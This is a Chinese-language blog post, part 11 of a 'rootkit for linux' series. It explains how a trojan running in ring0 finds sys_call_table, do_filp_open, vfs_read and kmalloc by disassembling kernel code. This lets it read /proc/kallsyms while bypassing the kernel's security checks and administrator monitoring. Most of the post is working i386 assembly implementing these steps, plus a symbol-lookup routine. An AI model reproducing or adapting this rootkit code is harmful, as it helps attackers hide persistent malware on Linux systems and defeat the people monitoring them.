rootkit for linux 11.“寻找入口点”的改进方法

昨天看了篇文章《Linux on-the-fly kernel patching without LKM 》

作者提供了一种 ring3 进 ring0 的方法，思路很不错。我们也可以用那篇文章里提供的方法进入 ring0。

我们现在用的是溢出，溢出的通用性差，但只需要普通用户权限即可。

作者的方法通用性好，但需要root权限。

 

第2篇文章“寻找入口点”用的是系统调用读/proc/kallsyms 的方法。当时我就觉得这方法很有必要改进一下。因为太不靠谱了。管理员通过对/proc/kallsyms的监控完全可以知道木马的行动（其实呢，没有哪个管理员真的会这样做）。反正无论管理员有没有监控，今天我们的这个方法都是能绕过常规的监控的。

 

网上有一种方法是获得 sys_call_table 的。然后一般是获得 sys_call_table 后就强制修改它，把某个sys_call重定向。这种方法是不大好的。我们千万不要使用。

 

我们的第一步也是获得 sys_call_table 。跟网上的方法一样。先 sidt ，找到 0x80 号中断的服务例程的偏移。然后寻找 call xx(%xx, x, %xx)。这样的指令。找到了那个指令，也就找到了 sys_call_table 。

 

那么找到 sys_call_table 后我们用什么方法来绕过 security_xxx 函数呢？

 

我们先看打开文件。

为了避免管理员在ring3下看到我们的行动，我们的打开的文件不能跟进程关联起来。do_filp_open就函数能满足我们的要求了，不需要再找更底层的。我们来看看怎么获得 filp_open。

我们现在只知道 sys_open 函数的地址，是从 sys_call_table 里得知的。

1. asmlinkage long sys_open(const char __user *filename, int flags, int mode)
2. {
3.     long ret;
5.     if (force_o_largefile())
6.         flags |= O_LARGEFILE;
8.     ret = do_sys_open(AT_FDCWD, filename, flags, mode);
9.     /* avoid REGPARM breakage on x86: */
10.     prevent_tail_call(ret);
11.     return ret;
12. }

用大杀器xde获得 do_sys_open 的地址不是什么难事。

1. long do_sys_open(int dfd, const char __user *filename, int flags, int mode)
2. {
3.     char *tmp = getname(filename);
4.     int fd = PTR_ERR(tmp);
6.     if (!IS_ERR(tmp)) {
7.         fd = get_unused_fd();
8.         if (fd >= 0) {
9.             struct file *f = do_filp_open(dfd, tmp, flags, mode);
10.             if (IS_ERR(f)) {
11.                 put_unused_fd(fd);
12.                 fd = PTR_ERR(f);
13.             } else {
14.                 fsnotify_open(f->f_dentry);
15.                 fd_install(fd, f);
16.             }
17.         }
18.         putname(tmp);
19.     }
20.     return fd;
21. }

IS_ERR(tmp)展开后就是 cmp    $0xfffff000,%xx; ja xxx。判断返回值是否为错误号的一个宏。

if (fd >= 0) {展开后是 cmp ...; js 。

所以用xde寻找第一个js xxx。然后不用跳转，碰到的第一个call就是call do_filp_open了。

 

好了，文件打开的问题解决了。我们再来看看读文件。

 

我们说，在vfs层读取文件，方法从底层到高层有不少，我想了很久，觉得用 file->f_ops->read。这样，我们需要的偏移量就比较少。要知道，在这种手无寸铁的情况下，只知道有限的函数地址的情况下，我们没得选择。好比生活就像强奸一样。

 file->f_ops->read 已经越过了 security_xxx 函数。如果管理员没有用第三方软件的话，这个函数是没有hook的。xbfs也是hook到这里而已。

我们首先要找到 f_ops 。

1. asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
2. {
3.     struct file *file;
4.     ssize_t ret = -EBADF;
5.     int fput_needed;
7.     file = fget_light(fd, &fput_needed);
8.     if (file) {
9.         loff_t pos = file_pos_read(file);
10.         ret = vfs_read(file, buf, count, &pos);
11.         file_pos_write(file, pos);
12.         fput_light(file, fput_needed);
13.     }
15.     return ret;
16. }

还是比较好办的。用xde找je xxx。找到之后的第一个 call 就是 call vfs_read。

或者偷懒，直接找第二个 call 也行。这函数反正比较简单，没啥事。

1. ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
2. {
3.     ssize_t ret;
5.     if (!(file->f_mode & FMODE_READ))
6.         return -EBADF;
7.     if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
8.         return -EINVAL;
9.     if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
10.         return -EFAULT;
12.     .....

这个也好办。搜第一个 jne xxx。顺着跳转。然后出现的前两个 movl 0xxx(%xx),%xx 必然是在取 f_op 和 f_op->read 。因为c语言肯定会按顺序来做逻辑判断的。我在程序里偷懒了，反正到出问题的时候再改。

 

好了。现在我们的偏移都搞到了。可以读指定的文件了。

我们打算把全部符号表读到缓冲区里（大概650k+）。然后用自己的函数找。

但是这么大的空间我们上哪找？我们必须申请空间。但申请空间的函数 kmalloc 的地址我们现在还不知道，咋的办呢？

 

这时候又要靠我们的好哥们xde了。我们都知道 /proc/kallsyms 是一个/proc上的接口，代码里使用seq机制实现的（seq机制在《linux设备驱动程序》里有详细介绍），那它的read 必然指向 seq_read。

 

1. ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
2. {
3.     struct seq_file *m = (struct seq_file *)file->private_data;
4.     size_t copied = 0;
5.     loff_t pos;
6.     size_t n;
7.     void *p;
8.     int err = 0;
10.     mutex_lock(&m->lock);
11.     /*
12.      * seq_file->op->..m_start/m_stop/m_next may do special actions
13.      * or optimisations based on the file->f_version, so we want to
14.      * pass the file->f_version to those methods.
15.      *
16.      * seq_file->version is just copy of f_version, and seq_file
17.      * methods can treat it simply as file version.
18.      * It is copied in first and copied out after all operations.
19.      * It is convenient to have it as  part of structure to avoid the
20.      * need of passing another argument to all the seq_file methods.
21.      */
22.     m->version = file->f_version;
23.     /* grab buffer if we didn't have one */
24.     if (!m->buf) {
25.         m->buf = kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);
26.         if (!m->buf)
27.             goto Enomem;
28.     }

看到没。seq_read 里刚好有一个 kmalloc。吗的，真是一举三得啊。

那好办了，开动xde，找 je xxx。顺着跳转。找到第一个 call 就是了。

 

但是呢，这个 kmalloc 还有点不一样。kmalloc(m->size = PAGE_SIZE, ...);

size参数，gcc肯定把它当成一个常量来看。如果size参数是常量，那么根据 kmalloc 的定义，是这样展开的：

 

1. static inline void *kmalloc(size_t size, gfp_t flags)
2. {
3.     if (__builtin_constant_p(size)) {
4.         int i = 0;
5. #define CACHE(x) /
6.         if (size <= x) /
7.             goto found; /
8.         else /
9.             i++;
10. #include "kmalloc_sizes.h"
11. #undef CACHE
12.         {
13.             extern void __you_cannot_kmalloc_that_much(void);
14.             __you_cannot_kmalloc_that_much();
15.         }
16. found:
17.         return kmem_cache_alloc((flags & GFP_DMA) ?
18.             malloc_sizes[i].cs_dmacachep :
19.             malloc_sizes[i].cs_cachep, flags);
20.     }
21.     return __kmalloc(size, flags);
22. }

[malloc_sizes.h]

1. #if (PAGE_SIZE == 4096)
2.     CACHE(32)
3. #endif
4.     CACHE(64)
5. #if L1_CACHE_BYTES < 64
6.     CACHE(96)
7. #endif
8.     CACHE(128)
9. #if L1_CACHE_BYTES < 128
10.     CACHE(192)
11. #endif
12.     CACHE(256)
13.     CACHE(512)
14.     CACHE(1024)
15.     CACHE(2048)
16.     CACHE(4096)
17.     CACHE(8192)
18.     CACHE(16384)
19.     CACHE(32768)
20.     CACHE(65536)
21.     CACHE(131072)
22. #if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)
23.     CACHE(262144)
24. #endif
25. #ifndef CONFIG_MMU
26.     CACHE(524288)
27.     CACHE(1048576)
28. #ifdef CONFIG_LARGE_ALLOCS
29.     CACHE(2097152)
30.     CACHE(4194304)
31.     CACHE(8388608)
32.     CACHE(16777216)
33.     CACHE(33554432)
34. #endif /* CONFIG_LARGE_ALLOCS */
35. #endif /* CONFIG_MMU */

1. /* Size description struct for general caches. */
2. struct cache_sizes {
3.     size_t       cs_size;
4.     kmem_cache_t    *cs_cachep;
5.     kmem_cache_t    *cs_dmacachep;
6. };
7. extern struct cache_sizes malloc_sizes[];

linux的代码真是艺术品啊。能写出这样的代码，真的不是等闲之辈。。

如果size是常量，kmalloc就会返回一个大小为 2 的整数次幂的页面。因为 slab 背后的算法是“伙伴系统”。

对啊，这里要注意的是：内核编译选项中默认的分配算法是 slab，如果内核编译选项没有选择 slab 作为分配算法，那 kmalloc 就又不一样了，我们的代码就不支持了。我也没考虑这种情况。

 kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);展开之后就是：

 

1. movl   $0x1000,0x4(%esi)  
2. mov    $0xd0,%edx         
3. mov    $0xfffffff4,%edi   
4. mov    0xc034ceb8,%eax    
5. call   0xc016bf10         

第一行，m->size = PAGE_SIZE。

第二行，movl $GFP_KERNEL, %edx

第三行，设置返回值，我们不管

第四行，就是movl malloc_sizes[i].cs_cachep, %eax

第五行，call kmem_cache_alloc。

 

这里 malloc_sizes[i].cs_size = 0x1000。因为seq_read分配的是 4K大小。我们要1M。因为内核符号表就 650K+ 了。总不能给 512K吧。我们要  1MB 也不过分。现在的机子内存动辄上G，我们拿走一两m，管理员也不会觉得看a片会变卡一点。

我们只要把malloc_sizes[i]的 i 增加一点就行了。

《Linux on-the-fly kernel patching without LKM 》这篇的作者也提出了一种方法找 kmalloc 。我觉得他的方法不好，他自己也说那个方法的成功率是 80 % 。他的方法是 2.2 ~ 2.4 版本适用的，如果有人要在2.6用那个方法，必须修改一下。2.4的内核的gcc编译选择，还没有把fastcall作为默认的函数调用约定。所以调用函数是 push xxx; push xxx; call xxx;

而在2.6则是 movl xxx, %eax; movl xxx, %edx; call xxx。

 

 

好了，我们现在达到目的了，可以把/proc/kallsyms 的内容读出来了。

今天也重写了 ksyms_lookup 的代码。觉得以前写的代码真烂，还有bug。不过这几天写熟了，就好了一点。

 

贴代码贴代码

 

读 idt

 

1.     // set KERNEL_DS 
2.     movl %esp, %eax 
3.     andl $0xffffe000, %eax 
4.     movl 0x18(%eax), %ebx 
5.     movl %ebx, 0x1c(%esp) 
6.     movl $0xffffffff, 0x18(%eax) 
8. 1:  GET_ADDR(idt_ptr, %ebx)
9.     sidt (%ebx)
10.     movl 2(%ebx), %ebp
12. #ifdef _KSYM_DEBUG_
13.     movl %ebp, 4(%esp)
14.     DPRINT("<3>idt at%lx/n")
15. #endif
17.     movw (0x80 * 8 + 6)(%ebp), %ax
18.     shl $16, %eax
19.     movw (0x80 * 8)(%ebp), %ax
20.     movl %eax, %ebp
22. #ifdef _KSYM_DEBUG_
23.     movl %eax, 4(%esp)
24.     DPRINT("<3>int 0x80 sr at %lx/n")
25. #endif

找 vfs_read

 

1.     movl %ebp, %esi
2.     leal 0x100(%esi), %edi
3. 1:  GET_ADDR(struct_dism, %edx)
4.     movl %esi, %eax
5.     call xde_dism
6.     testl %eax, %eax
7.     jz loader_out
8.     movl %eax, %ebp
9.     
10.     cmpb $0xff, dism_opcode(%edx)
11.     jz 2f
13.     addl %ebp, %esi
14.     cmpl %edi, %esi
15.     jl 1b
17.     jmp ksyms_init_out_failed
19. 2:  movl 3(%esi), %ebp
20.     
21. #ifdef _KSYM_DEBUG_
22.     movl %ebp, 4(%esp)
23.     DPRINT("<3>sys_call_table at %lx/n")
24. #endif
25.     
26.     movl (5 * 4)(%ebp), %ebx    // __NR_open = 5
27.     SET_VAL32(sys_open, %ebx)
28.     movl (3 * 4)(%ebp), %ebp    // __NR_read = 3
30. #ifdef _KSYM_DEBUG_
31.     GET_VAL32(sys_open, %eax)
32.     movl %eax, 8(%esp)
33.     movl %ebp, 4(%esp)
34.     DPRINT("<3>sys_read at %lx, sys_open at %lx/n")
35. #endif
37.     movl $2, %ebx
38.     movl %ebp, %esi
39.     leal 0x100(%esi), %edi
40. 1:  GET_ADDR(struct_dism, %edx)
41.     movl %esi, %eax
42.     call xde_dism
43.     testl %eax, %eax
44.     jz ksyms_init_out_failed
45.     movl %eax, %ebp
47.     cmpb $0xe8, dism_opcode(%edx)
48.     jnz 3f
49.     decl %ebx
50.     jz 2f
52. 3:
53.     addl %ebp, %esi
54.     cmpl %edi, %esi
55.     jl 1b
57.     jmp ksyms_init_out_failed
59. 2:  movl 1(%esi), %ebp
60.     leal 5(%esi), %esi
61.     addl %esi, %ebp
63. #ifdef _KSYM_DEBUG_
64.     movl %ebp, 4(%esp)
65.     DPRINT("<3>vfs_read at %lx/n")
66. #endif
67.     

找 f_op, read 的偏移

 

1.     xorb %bl, %bl
2.     movl %ebp, %esi
3.     leal 0x100(%esi), %edi
4. 1:  GET_ADDR(struct_dism, %edx)
5.     movl %esi, %eax
6.     call xde_dism
7.     testl %eax, %eax
8.     jz ksyms_init_out_failed
9.     movl %eax, %ebp
11.     cmpb $0x8b, dism_opcode(%edx)
12.     jnz 4f
13.     testb $1, %bl
14.     jz 3f
16.     movzbl 2(%esi), %ecx
17.     testb $2, %bl
18.     jnz 5f
19.     
20.     SET_VAL32(file.f_op, %ecx)
21.     orb $2, %bl
22.     jmp 3f
24. 5:  SET_VAL32(file_operations.read, %ecx)
25.     jmp 2f
27. 4:  cmpb $0xc3, dism_opcode(%edx)
28.     jnz 3f
29.     orb $1, %bl
31. 3:  addl %ebp, %esi
32.     cmpl %edi, %esi
33.     jl 1b
35.     jmp ksyms_init_out_failed
36. 2:  
38.     
39. #ifdef _KSYM_DEBUG_
40.     GET_VAL32(file.f_op, %eax)
41.     movl %eax, 4(%esp)
42.     GET_VAL32(file_operations.read, %eax)
43.     movl %eax, 8(%esp)
44.     DPRINT("<3>file.f_op %lx, file_operations.read %lx/n")
45. #endif

找 do_filp_open

 

1.     GET_VAL32(sys_open, %esi)
2.     leal 0x100(%esi), %edi
3. 1:  GET_ADDR(struct_dism, %edx)
4.     movl %esi, %eax
5.     call xde_dism
6.     testl %eax, %eax
7.     jz ksyms_init_out_failed
8.     movl %eax, %ebp
10.     cmpb $0xe8, dism_opcode(%edx)
11.     jz 3f
13. 2:  addl %ebp, %esi
14.     cmpl %edi, %esi
15.     jl 1b
16.     
17.     jmp ksyms_init_out_failed
18. 3:
19.     movl 1(%esi), %ebp
20.     leal 5(%esi), %esi
21.     addl %esi, %ebp
23. #ifdef _KSYM_DEBUG_
24.     movl %ebp, 4(%esp)
25.     DPRINT("<3>do_sys_open at %lx/n")
26. #endif
27.     
28.     xorb %bl, %bl
29.     movl %ebp, %esi
30.     leal 0x100(%esi), %edi
31. 1:  GET_ADDR(struct_dism, %edx)
32.     movl %esi, %eax
33.     call xde_dism
34.     testl %eax, %eax
35.     jz ksyms_init_out_failed
36.     movl %eax, %ebp
37.     
38.     cmpb $0xe8, dism_opcode(%edx)
39.     jnz 4f
40.     testb $1, %bl
41.     jz 2f
42.     
43.     jmp 3f
45. 4:  cmpw $0x7f78, (%esi)
46.     jnz 2f
47.     orb $1, %bl
48.     
49. 2:  addl %ebp, %esi
50.     cmpl %edi, %esi
51.     jl 1b
53.     jmp ksyms_init_out_failed
54. 3:
55.     movl 1(%esi), %ebp
56.     leal 5(%esi), %esi
57.     addl %esi, %ebp
59.     SET_VAL32(do_filp_open, %ebp)
61. #ifdef _KSYM_DEBUG_
62.     GET_VAL32(do_filp_open, %eax)
63.     movl %eax, 4(%esp)
64.     DPRINT("<3>do_filp_open at %lx/n")
65. #endif

打开 /proc/kallsyms

 

1.     // file = do_filp_open(AT_FDCWD, "/proc/kallsyms", O_RDONLY, 0);
2.     GET_VAL32(do_filp_open, %ebp)
3.     movl $-100, %eax
4.     GET_STR("/proc/kallsyms", %edx)
5.     xorl %ecx, %ecx
6.     movl $0, (%esp)
7.     call *%ebp
8.     testl %eax, %eax
9.     jz ksyms_init_out_failed
10.     movl %eax, %esi
11.     movl %esi, 0x18(%esp)
13.     GET_STRUCT_VAL32(%esi, file.f_op, %ebx)
14.     GET_STRUCT_VAL32(%ebx, file_operations.read, %ebp)
15.     movl %ebp, 0x14(%esp)
17. #ifdef _KSYM_DEBUG_
18.     movl %ebp, 4(%esp)
19.     DPRINT("<3>file opened, file->f_op->read at %lx/n")
20. #endif

 

找 kmalloc ，分配 ksyms 的内存

 

1.     xorb %bl, %bl
2.     movl %ebp, %esi
3.     leal 0x100(%esi), %edi
4. 1:  movl %esi, %eax
5.     GET_ADDR(struct_dism, %edx)
6.     call xde_dism
7.     testl %eax, %eax
8.     jz ksyms_init_out_failed
9.     movl %eax, %ebp
10.     
11.     testb $1, %bl
12.     jnz 3f
14.     cmpw $0x840f, (%esi)
15.     jnz 2f
17.     orb $1, %bl
18.     movl 2(%esi), %edx
19.     leal 6(%esi), %esi
20.     addl %edx, %esi
21.     leal 0x100(%esi), %edi
22.     jmp 1b
24. 3:  cmpb $0xe8, dism_opcode(%edx)
25.     jz 4f
26.     cmpb $0xa1, dism_opcode(%edx)
27.     jnz 2f
29.     movl 1(%esi), %edx
30.     movl %edx, (%esp)
32. 2:  addl %ebp, %esi
33.     cmpl %edi, %esi
34.     jl 1b
36.     jmp ksyms_init_out_failed
38. 4:
39.     movl (%esp), %eax
40.     movl (8 + 7 * 12 + 4)(%eax), %edi
42.     movl 1(%esi), %ebp
43.     leal 5(%esi), %esi
44.     addl %esi, %ebp
46. #ifdef _KSYM_DEBUG_
47.     movl %edi, 8(%esp)
48.     movl %ebp, 4(%esp)
49.     DPRINT("<3>kmem_cache_alloc at %lx, param 1 is %lx/n")
50. #endif
51.     
52.     // buf = kmem_cache_alloc(malloc_sizes[1MB].cs_cachep, GFP_KERNEL | __GFP_ZERO);
53.     movl %edi, %eax
54.     movl $0x80d0, %edx
55.     call *%ebp
56.     testl %eax, %eax
57.     jz ksyms_init_out_failed
58.     movl %eax, %esi
60.     SET_VAL32(ksyms, %esi)
62. #ifdef _KSYM_DEBUG_
63.     movl %esi, 4(%esp)
64.     DPRINT("<3>kmem_cache_alloc 1MB for kallsyms at %lx ok!/n")
65. #endif

读 /proc/kallsyms 到缓冲区

 

1. #define posl 0x4
2. #define posh 0x8
4.     movl $0, posl(%esp)
5.     movl $0, posh(%esp)
7.     // file->f_op->read(file, buf, 1024 * 1024 * 1, &pos);
8. 1:  movl 0x18(%esp), %eax
9.     movl 0x14(%esp), %ebp
11.     leal posl(%esp), %ebx
12.     movl %ebx, (%esp)
13.     movl %esi, %edx
14.     movl $(1024 * 1024), %ecx
15.     call *%ebp
16.     testl %eax, %eax
17.     jz 3f
18.     addl %eax, %esi
19.     jmp 1b
20. 3:
22. #undef posh
23. #undef posl
25. #ifdef _KSYM_DEBUG_
26.     movl %esi, 4(%esp)
27.     DPRINT("<3>read kallsym ok! content: %.10s .../n")
28. #endif

 

重写的 ksym_lookup 代码，解决了以前的 bug：

 

2. // fastcall unsigned long ksym_lookup(char *name, int len) 
3. // @name: name of the function to find 
4. // @len: len of the name 
5. // return: addr of the function 
6. EXPORT_LABEL(ksym_lookup) 
7.     PUSH_ALL
8.     subl $0x14, %esp 
10.     movl $0, 0xc(%esp)
11.     movl %eax, (%esp)
12.     movl %edx, 4(%esp)
14. #ifndef _TEST_
15.     // saved = get_fs(); set_fs(KERNEL_DS);
16.     movl %esp, %eax 
17.     andl $0xffffe000, %eax 
18.     movl 0x18(%eax), %ebx 
19.     movl %ebx, 0x10(%esp)
20.     movl $0xffffffff, 0x18(%eax)
21. #endif
23. #ifndef _TEST_
24.     GET_VAL32(ksyms, %esi)
25. #else
26.     movl %ecx, %esi
27. #endif
29. ksym_lookup_getline:
30.     movl %esi, %edi
31. 1:  cmpb $0, (%esi)
32.     jnz 4f
33.     movl $-1, 0xc(%esp)
34.     jmp ksym_lookup_out
35. 4:  cmpb $'/n', (%esi)
36.     jz 2f
37.     incl %esi
38.     jmp 1b
39. 2:  
40.     movl %edi, %edx
41.     movl $2, %eax
42. 1:  cmpb $' ', (%edi)
43.     jnz 2f
44.     decl %eax
45.     jz 3f
46. 2:  incl %edi
47.     cmpl %esi, %edi
48.     jl 1b
49.     movl $-2, 0xc(%esp)
50.     jmp ksym_lookup_out
51. 3:  
52.     leal 1(%edi), %edi
53.     leal 1(%esi), %ebp
54.     movl (%esp), %esi
55.     movl 4(%esp), %ecx
56.     cld; rep cmpsb
57.     je 1f
58.     jmp ksym_lookup_next
59. 1:  
60.     cmpb $'_', (%edi)
61.     je ksym_lookup_next
62.     cmpb $'0', (%edi)
63.     jl 3f
64.     cmpb $'9', (%edi)
65.     jle ksym_lookup_next
66.     cmpb $'a', (%edi)
67.     jl 3f
68.     cmpb $'z', (%edi)
69.     jle ksym_lookup_next
70. 3:  
71.     xorl %eax, %eax
72.     movl $9, %esi
73. 2:  movb (%edx), %bl
74.     cmpb $' ', %bl
75.     jz 3f
76.     cmpb $'a', %bl
77.     jb 4f
78.     cmpb $'f', %bl
79.     jna 6f
80.     movl $-4, 0xc(%esp)
81.     jmp ksym_lookup_out
82. 6:  subb $('a' - 10), %bl
83.     jmp 5f
84. 4:  cmpb $'0', %bl
85.     jnb 7f
86.     movl $-5, 0xc(%esp)
87.     jmp ksym_lookup_out
88. 7:  cmpb $'9', %bl
89.     jna 8f
90.     movl $-6, 0xc(%esp)
91.     jmp ksym_lookup_out
92. 8:  subb $'0', %bl
93. 5:  shl $4, %eax
94.     movb %al, %cl
95.     andb $0xF0, %cl
96.     orb %cl, %bl
97.     movb %bl, %al
98.     incl %edx
99.     decl %esi
100.     jnz 9f
101.     movl $-7, 0xc(%esp)
102.     jmp ksym_lookup_out
103. 9:  jmp 2b
105. ksym_lookup_next:
106.     movl %ebp, %esi
107.     jmp ksym_lookup_getline
109. 3:  
110.     movl %eax, 0xc(%esp)
112. ksym_lookup_out: 
114. #ifndef _TEST_
115.     movl %esp, %ebx 
116.     andl $0xffffe000, %ebx 
117.     movl 0x10(%esp), %ecx 
118.     movl %ecx, 0x18(%ebx)
119. #endif
120.     
121.     movl 0xc(%esp), %eax
122.     addl $0x14, %esp 
123.     POP_ALL
124.     ret